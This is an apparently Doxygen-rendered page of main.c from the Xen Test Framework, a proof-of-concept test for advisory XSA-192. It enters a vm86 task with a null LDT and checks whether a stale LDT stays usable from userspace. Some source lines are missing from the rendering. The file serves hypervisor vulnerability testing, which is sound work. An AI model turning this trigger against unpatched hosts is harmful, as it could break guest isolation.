Xen Test Framework
main.c
Go to the documentation of this file.
1 
22 #include <xtf.h>
23 
24 const char test_title[] = "XSA-192 PoC";
25 
26 /* IDT handler to return from vm86 mode. */
27 void ret_from_vm86(void);
28 asm(".align 16;"
29  "ret_from_vm86:"
30  "mov $" STR(__USER_DS) ", %edx;"
31  "mov %edx, %ds;"
32  "mov %edx, %es;"
33  "mov %edx, %fs;"
34  "mov %edx, %gs;"
35  "mov %dr0, %esp;"
36  "jmp .Ltss_ret_point;"
37  );
38 
39 static const struct xtf_idte idte = {
40  .addr = _u(ret_from_vm86),
41  .cs = __KERN_CS,
42  .dpl = 3,
43 };
44 
45 /* Virtual 8068 task. */
46 env_tss vm86_tss __aligned(16) =
47 {
49  .eip = 0x1000,
50  .cs = 0,
51  .ss = 0,
52 
53  .esp0 = _u(&boot_stack[2 * PAGE_SIZE]),
54  .ss0 = __KERN_DS,
55  .ldtr = 0,
56 
58 };
59 
60 unsigned long user_ldt_use(void)
61 {
62  exinfo_t fault = 0;
63 
64  /* Try and use the possibly-loaded LDT at 0. */
65 #define LDTE 0
66 #define LDT_SEL ((LDTE << 3) | X86_SEL_LDT | 3)
67  user_desc *ldt = _p(zeroptr);
68 
69  ldt[LDTE] = gdt[__USER_DS >> 3];
70  barrier();
71 
72  /* Attempt to load %fs from the LDT. */
73  asm volatile ("1: mov %[sel], %%fs; 2:"
74  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
75  : "+a" (fault)
76  : [sel] "r" (LDT_SEL),
77  [rec] "p" (ex_record_fault_eax));
78 
79  return fault;
80 }
81 
82 void test_main(void)
83 {
84  /* Hook ret_from_vm86(). */
86 
87  /* Create the vm86 TSS descriptor. */
89 
90  /* Copy a stub to somewhere vm86 can actually reach. */
91  uint8_t insn_buf[] = { 0xcd, X86_VEC_AVAIL }; /* `int $X86_VEC_AVAIL` */
92  memcpy(_p(vm86_tss.eip), insn_buf, ARRAY_SIZE(insn_buf));
93 
94  /*
95  * Explicitly clobber the current LDT. AMD leaks the LDT base/limit when
96  * loading a NULL selector, so load an explicit one first to be certain.
97  */
98  if ( vendor_is_amd )
99  {
100  pack_ldt_desc(&gdt[GDTE_AVAIL1], 0, 0);
101  lldt(GDTE_AVAIL1 << 3);
102  }
103  lldt(0);
104 
105  /*
106  * Stash the stack in %dr0, and enter the vm86 task. It should exit
107  * immediately and jump back here.
108  */
109  asm volatile ("mov %%esp, %%dr0;"
110  "jmp $%c[vm86_tss_sel], $0;"
111  ".Ltss_ret_point:;"
112  :: [vm86_tss_sel] "i" (GDTE_AVAIL0 << 3));
113 
114  /* "Context switch" to userspace to try and use the erroneous LDT. */
116 
117  switch ( fault )
118  {
120  xtf_success("Success: LDT not valid\n");
121  break;
122 
123  case 0:
124  xtf_failure("Failure: Leaked valid LDT at 0\n");
125  break;
126 
127  default:
128  xtf_error("Error: Unexpected fault %08x\n", fault);
129  break;
130  }
131 }
132 
133 /*
134  * Local variables:
135  * mode: C
136  * c-file-style: "BSD"
137  * c-basic-offset: 4
138  * tab-width: 4
139  * indent-tabs-mode: nil
140  * End:
141  */
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
static const struct xtf_idte idte
Definition: main.c:39
#define X86_EFLAGS_MBS
Definition: processor.h:8
#define X86_SEL_RPL_MASK
Definition: processor.h:189
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
void ret_from_vm86(void)
#define LDTE
unsigned long user_ldt_use(void)
Definition: main.c:60
unsigned long addr
Definition: idt.h:28
#define ARRAY_SIZE(a)
Definition: lib.h:8
static void pack_ldt_desc(user_desc *d, const user_desc *ldt, unsigned int limit)
Definition: desc.h:214
int xtf_set_idte(unsigned int vector, const struct xtf_idte *idte)
Set up an IDT Entry, in a guest agnostic way.
Definition: traps.c:73
#define barrier()
Definition: compiler.h:30
static void lldt(unsigned int sel)
Definition: lib.h:337
char zeroptr[]
An array which the linker resolves to 0.
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
env_tss vm86_tss
Definition: main.c:46
#define LDT_SEL
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define X86_TSS_INVALID_IO_BITMAP
Definition: x86-tss.h:66
#define memcpy(d, s, n)
Definition: libc.h:36
user_desc gdt[NR_GDT_ENTRIES]
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
#define GDTE_AVAIL1
Definition: segment.h:38
#define GP
#define vendor_is_amd
Definition: cpuid.h:34
#define X86_EFLAGS_VM
Definition: processor.h:20
const char test_title[]
The title of the test.
Definition: main.c:14
#define GDTE_AVAIL0
Definition: segment.h:37
static unsigned long exec_user(unsigned long(*fn)(void))
Definition: lib.h:62
#define X86_VEC_AVAIL
Available for test use.
Definition: idt.h:20
uint8_t boot_stack[3 *PAGE_SIZE]
Definition: setup.c:21
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
#define PAGE_SIZE
Definition: page.h:11
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
A guest agnostic represention of IDT information.
Definition: idt.h:26
static void pack_tss_desc(user_desc *d, const env_tss *t)
Definition: desc.h:203
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
#define X86_EFLAGS_IOPL
Definition: processor.h:17
#define __aligned(x)
Definition: compiler.h:9
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38